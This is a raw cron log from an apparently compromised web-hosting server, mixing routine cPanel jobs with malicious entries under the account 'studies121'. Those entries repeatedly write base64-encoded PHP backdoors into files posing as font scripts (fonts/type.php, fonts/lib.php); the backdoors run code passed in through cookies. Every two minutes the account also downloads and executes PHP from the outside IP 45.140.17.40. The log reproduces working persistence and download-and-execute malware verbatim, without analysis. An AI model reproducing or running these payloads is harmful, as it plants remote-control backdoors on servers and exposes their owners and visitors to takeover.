Sep  6 19:44:01 ip-184-168-122-23 CROND[20057]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 19:44:01 ip-184-168-122-23 CROND[20058]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 19:44:01 ip-184-168-122-23 CROND[20060]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 19:45:01 ip-184-168-122-23 CROND[20149]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 19:45:01 ip-184-168-122-23 CROND[20153]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 19:45:01 ip-184-168-122-23 CROND[20152]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 19:45:01 ip-184-168-122-23 CROND[20151]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 19:45:01 ip-184-168-122-23 CROND[20154]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 19:45:01 ip-184-168-122-23 CROND[20155]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 19:46:02 ip-184-168-122-23 CROND[20242]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 19:46:02 ip-184-168-122-23 CROND[20245]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 19:46:02 ip-184-168-122-23 CROND[20247]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  6 19:46:02 ip-184-168-122-23 CROND[20250]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 19:46:02 ip-184-168-122-23 CROND[20249]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 19:46:02 ip-184-168-122-23 CROND[20246]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 19:46:02 ip-184-168-122-23 CROND[20251]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 19:47:01 ip-184-168-122-23 CROND[20354]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 19:47:01 ip-184-168-122-23 CROND[20357]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 19:47:01 ip-184-168-122-23 CROND[20358]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 19:47:01 ip-184-168-122-23 CROND[20356]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 19:48:01 ip-184-168-122-23 CROND[20442]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 19:48:01 ip-184-168-122-23 CROND[20445]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 19:48:01 ip-184-168-122-23 CROND[20446]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 19:48:01 ip-184-168-122-23 CROND[20447]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 19:48:01 ip-184-168-122-23 CROND[20449]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 19:49:01 ip-184-168-122-23 CROND[20531]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 19:49:01 ip-184-168-122-23 CROND[20532]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep  6 19:49:01 ip-184-168-122-23 CROND[20534]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 19:49:01 ip-184-168-122-23 CROND[20535]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 19:49:01 ip-184-168-122-23 CROND[20536]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 19:50:01 ip-184-168-122-23 CROND[20715]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 19:50:01 ip-184-168-122-23 CROND[20716]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 19:50:01 ip-184-168-122-23 CROND[20718]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 19:50:01 ip-184-168-122-23 CROND[20721]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 19:50:01 ip-184-168-122-23 CROND[20724]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 19:50:01 ip-184-168-122-23 CROND[20727]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 19:50:01 ip-184-168-122-23 CROND[20726]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 19:50:01 ip-184-168-122-23 CROND[20730]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 19:50:01 ip-184-168-122-23 CROND[20734]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 19:51:01 ip-184-168-122-23 CROND[20926]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 19:51:01 ip-184-168-122-23 CROND[20929]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 19:51:01 ip-184-168-122-23 CROND[20930]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 19:51:01 ip-184-168-122-23 CROND[20933]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 19:52:01 ip-184-168-122-23 CROND[21012]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 19:52:01 ip-184-168-122-23 CROND[21013]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 19:52:01 ip-184-168-122-23 CROND[21015]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 19:52:01 ip-184-168-122-23 CROND[21014]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 19:52:01 ip-184-168-122-23 CROND[21016]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 19:53:01 ip-184-168-122-23 CROND[21102]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 19:53:01 ip-184-168-122-23 CROND[21104]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 19:53:01 ip-184-168-122-23 CROND[21105]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 19:53:01 ip-184-168-122-23 CROND[21106]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 19:54:01 ip-184-168-122-23 CROND[21182]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 19:54:01 ip-184-168-122-23 CROND[21183]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 19:54:01 ip-184-168-122-23 CROND[21186]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 19:54:01 ip-184-168-122-23 CROND[21188]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 19:54:01 ip-184-168-122-23 CROND[21187]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 19:55:01 ip-184-168-122-23 CROND[21283]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 19:55:01 ip-184-168-122-23 CROND[21284]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 19:55:01 ip-184-168-122-23 CROND[21286]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 19:55:01 ip-184-168-122-23 CROND[21290]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 19:55:01 ip-184-168-122-23 CROND[21288]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 19:55:01 ip-184-168-122-23 CROND[21287]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 19:56:01 ip-184-168-122-23 CROND[21424]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 19:56:01 ip-184-168-122-23 CROND[21426]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
